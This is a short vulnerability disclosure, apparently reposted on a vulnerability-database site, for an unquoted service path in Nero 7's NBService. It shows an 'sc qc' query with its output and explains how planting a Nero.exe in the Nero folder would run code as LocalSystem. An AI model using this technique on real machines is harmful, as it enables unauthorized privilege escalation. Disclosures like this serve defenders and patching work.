`# Exploit Title: Nero 7 Unquoted Service Path Elevation Of Privilege
# Disclosure Date: 09/11/2016
# Exploit Author: Boumediene KADDOUR a.k.a Sh311c0d3r
# http://www.realistic-security.org
# Version: Nero version 7.10.1.0
# Tested on: Windows 7 integral edition FR
# CVE : N/A
Vulnerability Details:
=====================
The nero 7 suffers from an unquoted search path issue impacting the
service "NBService" leading to arbitrary code execution, this could
potentially allow an authorized unprivileged user to invoke a malicious
peice of code with elevated privileges.
A successful exploit requires a local user to put its own code in the
path of the vulnerable application where it could potentially be
executed during the software startup or system reboot.
PoC
--
[PentestingSkills.BlackBox] a$? sc qc NBService
[SC] QueryServiceConfig rA(c)ussite(s)
SERVICE_NAME: NBService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Nero\Nero 7\Nero
BackItUp\NBService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : NBService
DEPENDENCIES : RPCSS
SERVICE_START_NAME : LocalSystem
notice the path C:\Program Files (x86)\Nero\Nero 7\Nero
BackItUp\NBService.exe unquoted !!
a malicious local user could put in place its own executable as Nero.exe
under C:\Program Files (x86)\Nero\ to be then executed once the
application starts up or the system reboots.
sh311c0d3r
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation